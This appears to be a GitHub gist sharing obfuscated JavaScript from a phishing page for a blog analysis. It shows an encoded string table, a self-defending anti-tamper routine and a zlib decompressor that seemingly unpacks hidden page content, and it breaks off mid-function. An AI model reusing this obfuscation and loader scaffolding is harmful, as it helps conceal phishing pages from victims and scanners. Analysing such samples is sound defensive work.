Last active
August 12, 2020 03:46
-
-
Save technion/c266d29e2e8e31467cfafc0c2cc11664 to your computer and use it in GitHub Desktop.
blog of phishing code
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| 'use strict'; | |
| /** @type {!Array} */ | |
| var _0xd60a = ["call", "unknown BTYPE: ", "innerHTML", "lazy", "invalid code length: ", "subarray", "createElement", "invalid compression type", "decompress", "input buffer is broken", "POSITIVE_INFINITY", "index", "verify", "charCodeAt", "bufferSize", "invalid uncompressed block header: LEN", "var ", "compile", "fromCodePoint", "finish", "bufferType", "shift", "compressionType", "input", "Zlib.Inflate.prototype.decompress", "invalid inflate mode", "slice", "NONE", "appendChild", "length", "string", | |
| "Zlib.Inflate", "textContent", "prototype", "Zlib.Deflate.compress", "resize", "number", "invalid index", "documentElement", "buffer", "undefined", "trim", "unsupported compression type", "keys", "constructor", "Inflate", "unsupported compression method", "a9ae92d3-ee4f-4bc1-a8c5-7cff21373a99", "split", 'return /" + this + "/', "invalid adler-32 checksum", "getParent", "close", "invalid length: ", "push", "fromCharCode", "invalid code: ", "Zlib.Deflate.CompressionType", "write", "^([^ ]+( +[^ ]+)+)+[^ ]}", | |
| "pop", "set", "execScript", "outputIndex", "invalid fcheck flag:", "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/", "Zlib.Inflate.BufferType", "outputBuffer", "test"]; | |
| (function(params, content) { | |
| /** | |
| * @param {?} selected_image | |
| * @return {undefined} | |
| */ | |
| var fn = function(selected_image) { | |
| for (; --selected_image;) { | |
| params["push"](params["shift"]()); | |
| } | |
| }; | |
| /** | |
| * @return {undefined} | |
| */ | |
| var build = function() { | |
| var target = { | |
| data : { | |
| key : "cookie", | |
| value : "timeout" | |
| }, | |
| setCookie : function(value, name, path, headers) { | |
| headers = headers || {}; | |
| /** @type {string} */ | |
| var cookie = name + "=" + path; | |
| /** @type {number} */ | |
| var _0x41aba5 = 0; | |
| /** @type {number} */ | |
| var url = 0; | |
| var key = value["length"]; | |
| for (; url < key; url++) { | |
| var i = value[url]; | |
| /** @type {string} */ | |
| cookie = cookie + ("; " + i); | |
| var char = value[i]; | |
| value["push"](char); | |
| key = value["length"]; | |
| if (char !== !![]) { | |
| /** @type {string} */ | |
| cookie = cookie + ("=" + char); | |
| } | |
| } | |
| /** @type {string} */ | |
| headers["cookie"] = cookie; | |
| }, | |
| removeCookie : function() { | |
| return "dev"; | |
| }, | |
| getCookie : function(match, href) { | |
| match = match || function(canCreateDiscussions) { | |
| return canCreateDiscussions; | |
| }; | |
| var v = match(new RegExp("(?:^|; )" + href["replace"](/([.$?*|{}()[]\/+^])/g, "$1") + "=([^;]*)")); | |
| /** | |
| * @param {!Function} callback | |
| * @param {number} i | |
| * @return {undefined} | |
| */ | |
| var test = function(callback, i) { | |
| callback(++i); | |
| }; | |
| test(fn, content); | |
| return v ? decodeURIComponent(v[1]) : undefined; | |
| } | |
| }; | |
| /** | |
| * @return {?} | |
| */ | |
| var init = function() { | |
| /** @type {!RegExp} */ | |
| var test = new RegExp("\\w+ *\\(\\) *{\\w+ *['|\"].+['|\"];? *}"); | |
| return test["test"](target["removeCookie"]["toString"]()); | |
| }; | |
| /** @type {function(): ?} */ | |
| target["updateCookie"] = init; | |
| /** @type {string} */ | |
| var array = ""; | |
| var _0x4e194b = target["updateCookie"](); | |
| if (!_0x4e194b) { | |
| target["setCookie"](["*"], "counter", 1); | |
| } else { | |
| if (_0x4e194b) { | |
| array = target["getCookie"](null, "counter"); | |
| } else { | |
| target["removeCookie"](); | |
| } | |
| } | |
| }; | |
| build(); | |
| })(_0xd60a, 264); | |
| /** | |
| * @param {string} i | |
| * @param {?} parameter1 | |
| * @return {?} | |
| */ | |
| var _0x56c7 = function(i, parameter1) { | |
| /** @type {number} */ | |
| i = i - 0; | |
| var oembedView = _0xd60a[i]; | |
| return oembedView; | |
| }; | |
| !function() { | |
| var unstripName = function() { | |
| /** @type {boolean} */ | |
| var closeExpr = !![]; | |
| return function(object__360, function__361) { | |
| /** @type {!Function} */ | |
| var closingExpr = closeExpr ? function() { | |
| if (function__361) { | |
| var cssobj = function__361["apply"](object__360, arguments); | |
| /** @type {null} */ | |
| function__361 = null; | |
| return cssobj; | |
| } | |
| } : function() { | |
| }; | |
| /** @type {boolean} */ | |
| closeExpr = ![]; | |
| return closingExpr; | |
| }; | |
| }(); | |
| (function() { | |
| /** | |
| * @param {?} theResponseTXT | |
| * @return {?} | |
| */ | |
| function callback(theResponseTXT) { | |
| throw theResponseTXT; | |
| } | |
| /** | |
| * @param {!Object} d | |
| * @param {!Function} item | |
| * @return {undefined} | |
| */ | |
| function extend(d, item) { | |
| var DEVICE_PIXEL_RATIO; | |
| var options = d["split"]("."); | |
| var window = window2; | |
| if (!(options[0] in window) && window[_0x56c7("0x5")]) { | |
| window["execScript"](_0x56c7("0x1c") + options[0]); | |
| } | |
| for (; options[_0x56c7("0x29")] && (DEVICE_PIXEL_RATIO = options["shift"]());) { | |
| if (options[_0x56c7("0x29")] || item === undefined) { | |
| window = window[DEVICE_PIXEL_RATIO] ? window[DEVICE_PIXEL_RATIO] : window[DEVICE_PIXEL_RATIO] = {}; | |
| } else { | |
| /** @type {!Function} */ | |
| window[DEVICE_PIXEL_RATIO] = item; | |
| } | |
| } | |
| } | |
| /** | |
| * @param {?} buffer | |
| * @param {number} compressed | |
| * @return {undefined} | |
| */ | |
| function set(buffer, compressed) { | |
| this[_0x56c7("0x17")] = _0x56c7("0x30") == typeof compressed ? compressed : 0; | |
| /** @type {number} */ | |
| this["i"] = 0; | |
| this[_0x56c7("0x33")] = buffer instanceof (USE_TYPEDARRAY ? Uint8Array : Array) ? buffer : new (USE_TYPEDARRAY ? Uint8Array : Array)(32768); | |
| if (2 * this[_0x56c7("0x33")][_0x56c7("0x29")] <= this[_0x56c7("0x17")]) { | |
| callback(Error(_0x56c7("0x31"))); | |
| } | |
| if (this[_0x56c7("0x33")][_0x56c7("0x29")] <= this[_0x56c7("0x17")]) { | |
| this["f"](); | |
| } | |
| } | |
| /** | |
| * @param {number} renderingControlService | |
| * @return {undefined} | |
| */ | |
| function Renderer(renderingControlService) { | |
| this[_0x56c7("0x33")] = new (USE_TYPEDARRAY ? Uint16Array : Array)(2 * renderingControlService); | |
| /** @type {number} */ | |
| this[_0x56c7("0x29")] = 0; | |
| } | |
| /** | |
| * @param {!Array} lengths | |
| * @return {?} | |
| */ | |
| function require(lengths) { | |
| var size; | |
| var a; | |
| var bitLength; | |
| var data; | |
| var d; | |
| var movesLength; | |
| var autoReview; | |
| var i; | |
| var j; | |
| var x; | |
| var end = lengths[_0x56c7("0x29")]; | |
| /** @type {number} */ | |
| var maxCodeLength = 0; | |
| var shortest = Number[_0x56c7("0x16")]; | |
| /** @type {number} */ | |
| i = 0; | |
| for (; i < end; ++i) { | |
| if (lengths[i] > maxCodeLength) { | |
| maxCodeLength = lengths[i]; | |
| } | |
| if (lengths[i] < shortest) { | |
| shortest = lengths[i]; | |
| } | |
| } | |
| /** @type {number} */ | |
| size = 1 << maxCodeLength; | |
| a = new (USE_TYPEDARRAY ? Uint32Array : Array)(size); | |
| /** @type {number} */ | |
| bitLength = 1; | |
| /** @type {number} */ | |
| data = 0; | |
| /** @type {number} */ | |
| d = 2; | |
| for (; bitLength <= maxCodeLength;) { | |
| /** @type {number} */ | |
| i = 0; | |
| for (; i < end; ++i) { | |
| if (lengths[i] === bitLength) { | |
| /** @type {number} */ | |
| movesLength = 0; | |
| /** @type {number} */ | |
| autoReview = data; | |
| /** @type {number} */ | |
| j = 0; | |
| for (; j < bitLength; ++j) { | |
| /** @type {number} */ | |
| movesLength = movesLength << 1 | 1 & autoReview; | |
| /** @type {number} */ | |
| autoReview = autoReview >> 1; | |
| } | |
| /** @type {number} */ | |
| x = bitLength << 16 | i; | |
| /** @type {number} */ | |
| j = movesLength; | |
| for (; j < size; j = j + d) { | |
| /** @type {number} */ | |
| a[j] = x; | |
| } | |
| ++data; | |
| } | |
| } | |
| ++bitLength; | |
| /** @type {number} */ | |
| data = data << 1; | |
| /** @type {number} */ | |
| d = d << 1; | |
| } | |
| return [a, maxCodeLength, shortest]; | |
| } | |
| /** | |
| * @param {string} input | |
| * @param {!Object} opt_params | |
| * @return {undefined} | |
| */ | |
| function val(input, opt_params) { | |
| /** @type {number} */ | |
| this["h"] = node; | |
| /** @type {number} */ | |
| this["w"] = 0; | |
| this["input"] = USE_TYPEDARRAY && input instanceof Array ? new Uint8Array(input) : input; | |
| /** @type {number} */ | |
| this["b"] = 0; | |
| if (opt_params) { | |
| if (opt_params["lazy"]) { | |
| this["w"] = opt_params[_0x56c7("0xf")]; | |
| } | |
| if ("number" == typeof opt_params[_0x56c7("0x22")]) { | |
| this["h"] = opt_params[_0x56c7("0x22")]; | |
| } | |
| if (opt_params[_0x56c7("0xa")]) { | |
| this["a"] = USE_TYPEDARRAY && opt_params[_0x56c7("0xa")] instanceof Array ? new Uint8Array(opt_params[_0x56c7("0xa")]) : opt_params[_0x56c7("0xa")]; | |
| } | |
| if (_0x56c7("0x30") == typeof opt_params["outputIndex"]) { | |
| this["b"] = opt_params[_0x56c7("0x6")]; | |
| } | |
| } | |
| if (!this["a"]) { | |
| this["a"] = new (USE_TYPEDARRAY ? Uint8Array : Array)(32768); | |
| } | |
| } | |
| /** | |
| * @param {?} data | |
| * @param {?} options | |
| * @return {undefined} | |
| */ | |
| function Goal(data, options) { | |
| this[_0x56c7("0x29")] = data; | |
| this["G"] = options; | |
| } | |
| /** | |
| * @param {!Object} map | |
| * @param {!Object} array | |
| * @return {?} | |
| */ | |
| function parse(map, array) { | |
| /** | |
| * @param {!Object} p | |
| * @param {number} x | |
| * @return {undefined} | |
| */ | |
| function equal(p, x) { | |
| var interestingPoint; | |
| var viewportCenter; | |
| var i; | |
| var value; | |
| var pMain = p["G"]; | |
| /** @type {!Array} */ | |
| var a = []; | |
| /** @type {number} */ | |
| var cnt = 0; | |
| switch(interestingPoint = newPath[p[_0x56c7("0x29")]], a[cnt++] = 65535 & interestingPoint, a[cnt++] = interestingPoint >> 16 & 255, a[cnt++] = interestingPoint >> 24, true) { | |
| case 1 === pMain: | |
| /** @type {!Array} */ | |
| viewportCenter = [0, pMain - 1, 0]; | |
| break; | |
| case 2 === pMain: | |
| /** @type {!Array} */ | |
| viewportCenter = [1, pMain - 2, 0]; | |
| break; | |
| case 3 === pMain: | |
| /** @type {!Array} */ | |
| viewportCenter = [2, pMain - 3, 0]; | |
| break; | |
| case 4 === pMain: | |
| /** @type {!Array} */ | |
| viewportCenter = [3, pMain - 4, 0]; | |
| break; | |
| case 6 >= pMain: | |
| /** @type {!Array} */ | |
| viewportCenter = [4, pMain - 5, 1]; | |
| break; | |
| case 8 >= pMain: | |
| /** @type {!Array} */ | |
| viewportCenter = [5, pMain - 7, 1]; | |
| break; | |
| case 12 >= pMain: | |
| /** @type {!Array} */ | |
| viewportCenter = [6, pMain - 9, 2]; | |
| break; | |
| case 16 >= pMain: | |
| /** @type {!Array} */ | |
| viewportCenter = [7, pMain - 13, 2]; | |
| break; | |
| case 24 >= pMain: | |
| /** @type {!Array} */ | |
| viewportCenter = [8, pMain - 17, 3]; | |
| break; | |
| case 32 >= pMain: | |
| /** @type {!Array} */ | |
| viewportCenter = [9, pMain - 25, 3]; | |
| break; | |
| case 48 >= pMain: | |
| /** @type {!Array} */ | |
| viewportCenter = [10, pMain - 33, 4]; | |
| break; | |
| case 64 >= pMain: | |
| /** @type {!Array} */ | |
| viewportCenter = [11, pMain - 49, 4]; | |
| break; | |
| case 96 >= pMain: | |
| /** @type {!Array} */ | |
| viewportCenter = [12, pMain - 65, 5]; | |
| break; | |
| case 128 >= pMain: | |
| /** @type {!Array} */ | |
| viewportCenter = [13, pMain - 97, 5]; | |
| break; | |
| case 192 >= pMain: | |
| /** @type {!Array} */ | |
| viewportCenter = [14, pMain - 129, 6]; | |
| break; | |
| case 256 >= pMain: | |
| /** @type {!Array} */ | |
| viewportCenter = [15, pMain - 193, 6]; | |
| break; | |
| case 384 >= pMain: | |
| /** @type {!Array} */ | |
| viewportCenter = [16, pMain - 257, 7]; | |
| break; | |
| case 512 >= pMain: | |
| /** @type {!Array} */ | |
| viewportCenter = [17, pMain - 385, 7]; | |
| break; | |
| case 768 >= pMain: | |
| /** @type {!Array} */ | |
| viewportCenter = [18, pMain - 513, 8]; | |
| break; | |
| case 1024 >= pMain: | |
| /** @type {!Array} */ | |
| viewportCenter = [19, pMain - 769, 8]; | |
| break; | |
| case 1536 >= pMain: | |
| /** @type {!Array} */ | |
| viewportCenter = [20, pMain - 1025, 9]; | |
| break; | |
| case 2048 >= pMain: | |
| /** @type {!Array} */ | |
| viewportCenter = [21, pMain - 1537, 9]; | |
| break; | |
| case 3072 >= pMain: | |
| /** @type {!Array} */ | |
| viewportCenter = [22, pMain - 2049, 10]; | |
| break; | |
| case 4096 >= pMain: | |
| /** @type {!Array} */ | |
| viewportCenter = [23, pMain - 3073, 10]; | |
| break; | |
| case 6144 >= pMain: | |
| /** @type {!Array} */ | |
| viewportCenter = [24, pMain - 4097, 11]; | |
| break; | |
| case 8192 >= pMain: | |
| /** @type {!Array} */ | |
| viewportCenter = [25, pMain - 6145, 11]; | |
| break; | |
| case 12288 >= pMain: | |
| /** @type {!Array} */ | |
| viewportCenter = [26, pMain - 8193, 12]; | |
| break; | |
| case 16384 >= pMain: | |
| /** @type {!Array} */ | |
| viewportCenter = [27, pMain - 12289, 12]; | |
| break; | |
| case 24576 >= pMain: | |
| /** @type {!Array} */ | |
| viewportCenter = [28, pMain - 16385, 13]; | |
| break; | |
| case 32768 >= pMain: | |
| /** @type {!Array} */ | |
| viewportCenter = [29, pMain - 24577, 13]; | |
| break; | |
| default: | |
| callback("invalid distance"); | |
| } | |
| /** @type {(Array|undefined)} */ | |
| interestingPoint = viewportCenter; | |
| a[cnt++] = interestingPoint[0]; | |
| a[cnt++] = interestingPoint[1]; | |
| a[cnt++] = interestingPoint[2]; | |
| /** @type {number} */ | |
| i = 0; | |
| value = a["length"]; | |
| for (; i < value; ++i) { | |
| lz77buf[pos++] = a[i]; | |
| } | |
| tmp[a[0]]++; | |
| r[a[3]]++; | |
| /** @type {number} */ | |
| _0x30d194 = p[_0x56c7("0x29")] + x - 1; | |
| /** @type {null} */ | |
| max = null; | |
| } | |
| var i; | |
| var length; | |
| var j; | |
| var leftCount; | |
| var k; | |
| var key; | |
| var value; | |
| var max; | |
| var f; | |
| var functionKeys = {}; | |
| /** @type {(Array|Uint16Array)} */ | |
| var lz77buf = USE_TYPEDARRAY ? new Uint16Array(2 * array[_0x56c7("0x29")]) : []; | |
| /** @type {number} */ | |
| var pos = 0; | |
| /** @type {number} */ | |
| var _0x30d194 = 0; | |
| var tmp = new (USE_TYPEDARRAY ? Uint32Array : Array)(286); | |
| var r = new (USE_TYPEDARRAY ? Uint32Array : Array)(30); | |
| var a = map["w"]; | |
| if (!USE_TYPEDARRAY) { | |
| /** @type {number} */ | |
| j = 0; | |
| for (; 285 >= j;) { | |
| /** @type {number} */ | |
| tmp[j++] = 0; | |
| } | |
| /** @type {number} */ | |
| j = 0; | |
| for (; 29 >= j;) { | |
| /** @type {number} */ | |
| r[j++] = 0; | |
| } | |
| } | |
| /** @type {number} */ | |
| tmp[256] = 1; | |
| /** @type {number} */ | |
| i = 0; | |
| length = array["length"]; | |
| for (; i < length; ++i) { | |
| /** @type {number} */ | |
| j = k = 0; | |
| /** @type {number} */ | |
| leftCount = 3; | |
| for (; j < leftCount && i + j !== length; ++j) { | |
| /** @type {number} */ | |
| k = k << 8 | array[i + j]; | |
| } | |
| if (functionKeys[k] === undefined && (functionKeys[k] = []), key = functionKeys[k], !(0 < _0x30d194--)) { | |
| for (; 0 < key[_0x56c7("0x29")] && 32768 < i - key[0];) { | |
| key[_0x56c7("0x21")](); | |
| } | |
| if (i + 3 >= length) { | |
| if (max) { | |
| equal(max, -1); | |
| } | |
| /** @type {number} */ | |
| j = 0; | |
| /** @type {number} */ | |
| leftCount = length - i; | |
| for (; j < leftCount; ++j) { | |
| f = array[i + j]; | |
| lz77buf[pos++] = f; | |
| ++tmp[f]; | |
| } | |
| break; | |
| } | |
| if (0 < key["length"]) { | |
| value = equal(array, i, key); | |
| if (max) { | |
| if (max[_0x56c7("0x29")] < value[_0x56c7("0x29")]) { | |
| f = array[i - 1]; | |
| lz77buf[pos++] = f; | |
| ++tmp[f]; | |
| equal(value, 0); | |
| } else { | |
| equal(max, -1); | |
| } | |
| } else { | |
| if (value["length"] < a) { | |
| max = value; | |
| } else { | |
| equal(value, 0); | |
| } | |
| } | |
| } else { | |
| if (max) { | |
| equal(max, -1); | |
| } else { | |
| f = array[i]; | |
| lz77buf[pos++] = f; | |
| ++tmp[f]; | |
| } | |
| } | |
| } | |
| key[_0x56c7("0x42")](i); | |
| } | |
| return lz77buf[pos++] = 256, tmp[256]++, map["L"] = tmp, map["K"] = r, USE_TYPEDARRAY ? lz77buf[_0x56c7("0x11")](0, pos) : lz77buf; | |
| } | |
| /** | |
| * @param {!Object} data | |
| * @param {number} row | |
| * @param {!Object} arr | |
| * @return {?} | |
| */ | |
| function equal(data, row, arr) { | |
| var n; | |
| var dir; | |
| var i; | |
| var p; | |
| var shift; | |
| var len; | |
| /** @type {number} */ | |
| var start_i = 0; | |
| var end = data[_0x56c7("0x29")]; | |
| /** @type {number} */ | |
| p = 0; | |
| len = arr["length"]; | |
| _0x29ee25: for (; p < len; p++) { | |
| if (n = arr[len - p - 1], i = 3, 3 < start_i) { | |
| /** @type {number} */ | |
| shift = start_i; | |
| for (; 3 < shift; shift--) { | |
| if (data[n + shift - 1] !== data[row + shift - 1]) { | |
| continue _0x29ee25; | |
| } | |
| } | |
| /** @type {number} */ | |
| i = start_i; | |
| } | |
| for (; 258 > i && row + i < end && data[n + i] === data[row + i];) { | |
| ++i; | |
| } | |
| if (i > start_i && (dir = n, start_i = i), 258 === i) { | |
| break; | |
| } | |
| } | |
| return new Goal(start_i, row - dir); | |
| } | |
| /** | |
| * @param {!Array} options | |
| * @param {number} config | |
| * @return {?} | |
| */ | |
| function factory(options, config) { | |
| var a; | |
| var k; | |
| var cfg; | |
| var key; | |
| var val; | |
| var size = options[_0x56c7("0x29")]; | |
| var result = new Renderer(572); | |
| var o = new (USE_TYPEDARRAY ? Uint8Array : Array)(size); | |
| if (!USE_TYPEDARRAY) { | |
| /** @type {number} */ | |
| key = 0; | |
| for (; key < size; key++) { | |
| /** @type {number} */ | |
| o[key] = 0; | |
| } | |
| } | |
| /** @type {number} */ | |
| key = 0; | |
| for (; key < size; ++key) { | |
| if (0 < options[key]) { | |
| result[_0x56c7("0x42")](key, options[key]); | |
| } | |
| } | |
| if (a = Array(result["length"] / 2), k = new (USE_TYPEDARRAY ? Uint32Array : Array)(result["length"] / 2), 1 === a[_0x56c7("0x29")]) { | |
| return o[result[_0x56c7("0x3")]()["index"]] = 1, o; | |
| } | |
| /** @type {number} */ | |
| key = 0; | |
| /** @type {number} */ | |
| val = result["length"] / 2; | |
| for (; key < val; ++key) { | |
| a[key] = result[_0x56c7("0x3")](); | |
| k[key] = a[key]["value"]; | |
| } | |
| cfg = function(q, symbols, size) { | |
| /** | |
| * @param {number} name | |
| * @return {undefined} | |
| */ | |
| function load(name) { | |
| var x = data[name][result[name]]; | |
| if (x === symbols) { | |
| load(name + 1); | |
| load(name + 1); | |
| } else { | |
| --cache[x]; | |
| } | |
| ++result[name]; | |
| } | |
| var p; | |
| var i; | |
| var n; | |
| var o; | |
| var k; | |
| var buffer = new (USE_TYPEDARRAY ? Uint16Array : Array)(size); | |
| var array = new (USE_TYPEDARRAY ? Uint8Array : Array)(size); | |
| var cache = new (USE_TYPEDARRAY ? Uint8Array : Array)(symbols); | |
| /** @type {!Array} */ | |
| var a = Array(size); | |
| /** @type {!Array} */ | |
| var data = Array(size); | |
| /** @type {!Array} */ | |
| var result = Array(size); | |
| /** @type {number} */ | |
| var excess = (1 << size) - symbols; | |
| /** @type {number} */ | |
| var half = 1 << size - 1; | |
| /** @type {number} */ | |
| buffer[size - 1] = symbols; | |
| /** @type {number} */ | |
| i = 0; | |
| for (; i < size; ++i) { | |
| if (excess < half) { | |
| /** @type {number} */ | |
| array[i] = 0; | |
| } else { | |
| /** @type {number} */ | |
| array[i] = 1; | |
| /** @type {number} */ | |
| excess = excess - half; | |
| } | |
| /** @type {number} */ | |
| excess = excess << 1; | |
| buffer[size - 2 - i] = (buffer[size - 1 - i] / 2 | 0) + symbols; | |
| } | |
| buffer[0] = array[0]; | |
| /** @type {!Array} */ | |
| a[0] = Array(buffer[0]); | |
| /** @type {!Array} */ | |
| data[0] = Array(buffer[0]); | |
| /** @type {number} */ | |
| i = 1; | |
| for (; i < size; ++i) { | |
| if (buffer[i] > 2 * buffer[i - 1] + array[i]) { | |
| buffer[i] = 2 * buffer[i - 1] + array[i]; | |
| } | |
| /** @type {!Array} */ | |
| a[i] = Array(buffer[i]); | |
| /** @type {!Array} */ | |
| data[i] = Array(buffer[i]); | |
| } | |
| /** @type {number} */ | |
| p = 0; | |
| for (; p < symbols; ++p) { | |
| /** @type {number} */ | |
| cache[p] = size; | |
| } | |
| /** @type {number} */ | |
| n = 0; | |
| for (; n < buffer[size - 1]; ++n) { | |
| a[size - 1][n] = q[n]; | |
| /** @type {number} */ | |
| data[size - 1][n] = n; | |
| } | |
| /** @type {number} */ | |
| p = 0; | |
| for (; p < size; ++p) { | |
| /** @type {number} */ | |
| result[p] = 0; | |
| } | |
| if (1 === array[size - 1]) { | |
| --cache[0]; | |
| ++result[size - 1]; | |
| } | |
| /** @type {number} */ | |
| i = size - 2; | |
| for (; 0 <= i; --i) { | |
| /** @type {number} */ | |
| o = p = 0; | |
| k = result[i + 1]; | |
| /** @type {number} */ | |
| n = 0; | |
| for (; n < buffer[i]; n++) { | |
| if ((o = a[i + 1][k] + a[i + 1][k + 1]) > q[p]) { | |
| a[i][n] = o; | |
| /** @type {number} */ | |
| data[i][n] = symbols; | |
| k = k + 2; | |
| } else { | |
| a[i][n] = q[p]; | |
| /** @type {number} */ | |
| data[i][n] = p; | |
| ++p; | |
| } | |
| } | |
| /** @type {number} */ | |
| result[i] = 0; | |
| if (1 === array[i]) { | |
| load(i); | |
| } | |
| } | |
| return cache; | |
| }(k, k[_0x56c7("0x29")], config); | |
| /** @type {number} */ | |
| key = 0; | |
| val = a[_0x56c7("0x29")]; | |
| for (; key < val; ++key) { | |
| o[a[key][_0x56c7("0x17")]] = cfg[key]; | |
| } | |
| return o; | |
| } | |
| /** | |
| * @param {!Object} props | |
| * @return {?} | |
| */ | |
| function merge(props) { | |
| var index; | |
| var length; | |
| var propValue; | |
| var value; | |
| var childEls = new (USE_TYPEDARRAY ? Uint16Array : Array)(props[_0x56c7("0x29")]); | |
| /** @type {!Array} */ | |
| var boundaries = []; | |
| /** @type {!Array} */ | |
| var keys = []; | |
| /** @type {number} */ | |
| var i = 0; | |
| /** @type {number} */ | |
| index = 0; | |
| length = props["length"]; | |
| for (; index < length; index++) { | |
| /** @type {number} */ | |
| boundaries[props[index]] = 1 + (0 | boundaries[props[index]]); | |
| } | |
| /** @type {number} */ | |
| index = 1; | |
| /** @type {number} */ | |
| length = 16; | |
| for (; index <= length; index++) { | |
| /** @type {number} */ | |
| keys[index] = i; | |
| /** @type {number} */ | |
| i = i + (0 | boundaries[index]); | |
| /** @type {number} */ | |
| i = i << 1; | |
| } | |
| /** @type {number} */ | |
| index = 0; | |
| length = props[_0x56c7("0x29")]; | |
| for (; index < length; index++) { | |
| i = keys[props[index]]; | |
| keys[props[index]] += 1; | |
| /** @type {number} */ | |
| propValue = childEls[index] = 0; | |
| value = props[index]; | |
| for (; propValue < value; propValue++) { | |
| /** @type {number} */ | |
| childEls[index] = childEls[index] << 1 | 1 & i; | |
| /** @type {number} */ | |
| i = i >>> 1; | |
| } | |
| } | |
| return childEls; | |
| } | |
| /** | |
| * @param {string} table | |
| * @param {!Object} args | |
| * @return {undefined} | |
| */ | |
| function createConfig(table, args) { | |
| switch(this["l"] = [], this["m"] = 32768, this["e"] = this["g"] = this["c"] = this["q"] = 0, this["input"] = USE_TYPEDARRAY ? new Uint8Array(table) : table, this["s"] = false, this["n"] = content, this["B"] = false, !args && (args = {}) || (args[_0x56c7("0x17")] && (this["c"] = args["index"]), args["bufferSize"] && (this["m"] = args["bufferSize"]), args[_0x56c7("0x20")] && (this["n"] = args[_0x56c7("0x20")]), args[_0x56c7("0x2f")] && (this["B"] = args[_0x56c7("0x2f")])), this["n"]) { | |
| case NUMBER: | |
| /** @type {number} */ | |
| this["b"] = 32768; | |
| this["a"] = new (USE_TYPEDARRAY ? Uint8Array : Array)(32768 + this["m"] + 258); | |
| break; | |
| case content: | |
| /** @type {number} */ | |
| this["b"] = 0; | |
| this["a"] = new (USE_TYPEDARRAY ? Uint8Array : Array)(this["m"]); | |
| this["f"] = this["J"]; | |
| this["t"] = this["H"]; | |
| this["o"] = this["I"]; | |
| break; | |
| default: | |
| callback(Error(_0x56c7("0x25"))); | |
| } | |
| } | |
| /** | |
| * @param {!Object} data | |
| * @param {number} b | |
| * @return {?} | |
| */ | |
| function render(data, b) { | |
| var a00; | |
| var a = data["g"]; | |
| var d = data["e"]; | |
| var result = data[_0x56c7("0x23")]; | |
| var i = data["c"]; | |
| var el = result[_0x56c7("0x29")]; | |
| for (; d < b;) { | |
| if (i >= el) { | |
| callback(Error(_0x56c7("0x15"))); | |
| } | |
| /** @type {number} */ | |
| a = a | result[i++] << d; | |
| d = d + 8; | |
| } | |
| return a00 = a & (1 << b) - 1, data["g"] = a >>> b, data["e"] = d - b, data["c"] = i, a00; | |
| } | |
| /** | |
| * @param {!Object} data | |
| * @param {!Object} value | |
| * @return {?} | |
| */ | |
| function resolve(data, value) { | |
| var codeGeneratorFunc; | |
| var x; | |
| var val = data["g"]; | |
| var i = data["e"]; | |
| var b = data[_0x56c7("0x23")]; | |
| var r = data["c"]; | |
| var l = b["length"]; | |
| var node = value[0]; | |
| var lng = value[1]; | |
| for (; i < lng && !(r >= l);) { | |
| /** @type {number} */ | |
| val = val | b[r++] << i; | |
| i = i + 8; | |
| } | |
| return (x = (codeGeneratorFunc = node[val & (1 << lng) - 1]) >>> 16) > i && callback(Error(_0x56c7("0x10") + x)), data["g"] = val >> x, data["e"] = i - x, data["c"] = r, 65535 & codeGeneratorFunc; | |
| } | |
| /** | |
| * @param {!Object} d | |
| * @return {?} | |
| */ | |
| function f(d) { | |
| if (_0x56c7("0x2a") == typeof d) { | |
| var phrase; | |
| var key; | |
| var value = d[_0x56c7("0x3c")](""); | |
| /** @type {number} */ | |
| phrase = 0; | |
| key = value["length"]; | |
| for (; phrase < key; phrase++) { | |
| /** @type {number} */ | |
| value[phrase] = (255 & value[phrase][_0x56c7("0x19")](0)) >>> 0; | |
| } | |
| d = value; | |
| } | |
| var v; | |
| /** @type {number} */ | |
| var a = 1; | |
| /** @type {number} */ | |
| var b = 0; | |
| var h = d[_0x56c7("0x29")]; | |
| /** @type {number} */ | |
| var e = 0; | |
| for (; 0 < h;) { | |
| /** @type {number} */ | |
| h = h - (v = 1024 < h ? 1024 : h); | |
| do { | |
| b = b + (a = a + d[e++]); | |
| } while (--v); | |
| /** @type {number} */ | |
| a = a % 65521; | |
| /** @type {number} */ | |
| b = b % 65521; | |
| } | |
| return (b << 16 | a) >>> 0; | |
| } | |
| /** | |
| * @param {string} array | |
| * @param {!Object} args | |
| * @return {undefined} | |
| */ | |
| function create(array, args) { | |
| var number; | |
| var tmp; | |
| switch(this["input"] = array, this["c"] = 0, !args && (args = {}) || (args[_0x56c7("0x17")] && (this["c"] = args[_0x56c7("0x17")]), args["verify"] && (this["M"] = args[_0x56c7("0x18")])), number = array[this["c"]++], tmp = array[this["c"]++], 15 & number) { | |
| case delegate: | |
| /** @type {number} */ | |
| this["method"] = delegate; | |
| break; | |
| default: | |
| callback(Error(_0x56c7("0x3a"))); | |
| } | |
| if (0 != ((number << 8) + tmp) % 31) { | |
| callback(Error(_0x56c7("0x7") + ((number << 8) + tmp) % 31)); | |
| } | |
| if (32 & tmp) { | |
| callback(Error("fdict flag is not supported")); | |
| } | |
| this["A"] = new createConfig(array, { | |
| index : this["c"], | |
| bufferSize : args[_0x56c7("0x1a")], | |
| bufferType : args[_0x56c7("0x20")], | |
| resize : args[_0x56c7("0x2f")] | |
| }); | |
| } | |
| /** | |
| * @param {?} data | |
| * @param {!Object} obj | |
| * @return {undefined} | |
| */ | |
| function result(data, obj) { | |
| this["input"] = data; | |
| this["a"] = new (USE_TYPEDARRAY ? Uint8Array : Array)(32768); | |
| this["h"] = p["k"]; | |
| var key; | |
| var res = {}; | |
| for (key in!obj && (obj = {}) || _0x56c7("0x30") != typeof obj[_0x56c7("0x22")] || (this["h"] = obj[_0x56c7("0x22")]), obj) { | |
| res[key] = obj[key]; | |
| } | |
| res["outputBuffer"] = this["a"]; | |
| this["z"] = new val(this[_0x56c7("0x23")], res); | |
| } | |
| /** | |
| * @param {string} model | |
| * @param {!Array} obj | |
| * @return {undefined} | |
| */ | |
| function _pretty_print_object(model, obj) { | |
| var s; | |
| var p; | |
| var i; | |
| var loglevel; | |
| if (Object[_0x56c7("0x37")]) { | |
| s = Object[_0x56c7("0x37")](obj); | |
| } else { | |
| for (p in s = [], i = 0, obj) { | |
| /** @type {string} */ | |
| s[i++] = p; | |
| } | |
| } | |
| /** @type {number} */ | |
| i = 0; | |
| loglevel = s[_0x56c7("0x29")]; | |
